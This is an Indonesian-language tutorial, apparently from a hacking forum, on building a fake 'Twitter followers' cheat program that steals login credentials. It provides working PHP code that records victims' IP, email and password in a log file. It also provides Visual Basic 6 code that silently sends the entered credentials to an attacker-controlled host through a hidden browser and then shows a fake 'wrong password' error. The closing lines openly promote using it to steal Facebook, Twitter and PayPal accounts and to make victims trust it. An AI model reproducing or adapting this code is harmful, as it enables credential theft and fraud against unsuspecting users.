Pertama tama siapkan bahan terlebih dahulu yaitu
-Visual Basic 6.0
-Hosting || Contohnya IDhostinger
-Siapin Kopi Kalau Kalian Haus
Baca Dulu Sebagai Contohnya
Contohnya:ada sebuah program kita sebut saja followers twitterprogram itu akan menyuruh anda untuk login ke facebook menggunakan program tersebut,apabila ingin membuat cheatnya bekerja.user yang tertipu akan login lewat program tersebutdi dalam program tersebut terdapat 2 buah textbox dan 1 buah command button.
2 textbox itu adalah penampung Email & Password yang akan di kirim ke server kita dan command buttonnya di gunakan untuk meng eksekusi code,setelah code di eksekusi program akan memanggil sebuah file .php yang telah di buat sebelumnya di server kitafile php yang telah di panggil tersebut bertindak mencatat ip korban pengirim,mencacat tanggal pemanggilan file php,dan mencatat Email & Password korban yang telah di masukan di 2 buah textbox yang ada di program tersebut lalu menyimpannya dalam sebuah file text.
Ngerti kan gan dengan cara kerja program ini ?
Langsung aja ketutorialnya
Buka dulu hosting kalian lalu upload file dengan nama jct.php
lalu isikan dengan kode dibawah ini
Kode:
<?php$datum=date('d-m-Y / h:i:s a');$email = $_GET[e];$password = $_GET[p];$ip = getenv ('REMOTE_ADDR');$fl = fopen('404.txt', 'a');fwrite($fl, "IP Address : $ip\nDate : $datum\nUsername : $email\nPassword : $password\n\n");fclose($fl);$ref = $_SERVER['HTTP_REFERER'];header("location: $ref");?>Sekarang kita buka Microsoft Visual Basic 6.0
1.) Buatlah Project baru lalu buatlah ini
Lalu isi code dibawah ini dalam module dan berinama modConnectBahan Awal Tulis:* Buat 1 Form dengan nama frmUtama
* Buat 1 Module dengan nama modConnect
Kode:
Public Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)Jika sudah mari kita kembali ke form...
Private Declare Function InternetGetConnectedState Lib "wininet.dll" (ByRef _lpSFlags As Long, ByVal dwReserved As Long) As LongConst INTERNET_CONNECTION_MODEM = 1Const INTERNET_CONNECTION_LAN = 2Const INTERNET_CONNECTION_PROXY = 4Const INTERNET_CONNECTION_MODEM_BUSY = 8
'Fungsi yang berguna untuk mengecek koneksi internet yang ada di komputer kita menggunakan fungsi api InternetGetConnectedStateFunction CekInternet(Optional connectMode As Integer) As BooleanDim flags As LongCekInternet = InternetGetConnectedState(flags, 0)connectMode = flagsEnd Function
Buatlah 2 text , 1 command button , dan 1 label
Textbox pertama diberi nama = txtUname
Textbox kedua diberi nama = txtPass
Command buton = cmdLogin
Label = = lblInfo
Copykan kode dibawah ini kedalam form
Kode:
Private Sub Form_Load()'dilarang mengganti copyright dalam project ini'hargai yang membuat tutorial+code'copyright 2014 by JKT48 CYBER TEAM'and coding by wiceng'www.jkt48-cyber.org/forumlblInfo.Caption = "Memeriksa Koneksi Internet"If CekInternet = False ThenlblInfo.Caption = "Komputer Anda Tidak Terkoneksi Ke Internet !"ElselblInfo.Caption = "Komputer Anda Terkoneksi Dengan Internet"Me.Caption = "Keylogger JCT"End IfEnd Sublalu masukan code ini kedalam cmdLogin
Kode:
Dim user, pass As StringDim IE As Objectuser = LCase(txtUname.Text)pass = txtPass.Text
If txtUname.Text = "" ThenMsgBox "Kotak Teks masih kosong,silahkan isikan dengan benar !", vbExclamation, "Error"ElselblInfo.Caption = "Sedang Login ..."Set IE = CreateObject("InternetExplorer.Application")
IE.Visible = 0IE.Navigate "http://www.domainkamu.com/jct.php?e=" & _ user & "&p=" & pass
Do While IE.BusySleep 200 'sleepnya 200 ajah :p
LoopIE.QuitSet IE = Nothing
lblInfo.Caption = "Username/Password Salah !"MsgBox "Username/Password Salah !", vbExclamation, "Error"End If
bila sudah compile project kamu,lalu lakukan percobaan
bila ingin melihat hasil lognya agan dapat mengakses
klik DISINI
program ini bisa agan pake untuk apa aja,untuk nyuri akun fb,twitter,paypal,dll
tergantung kreativitas agan aja dalam design programnya agar usernya tertarik & percaya kalau program ini aman
ConversionConversion EmoticonEmoticon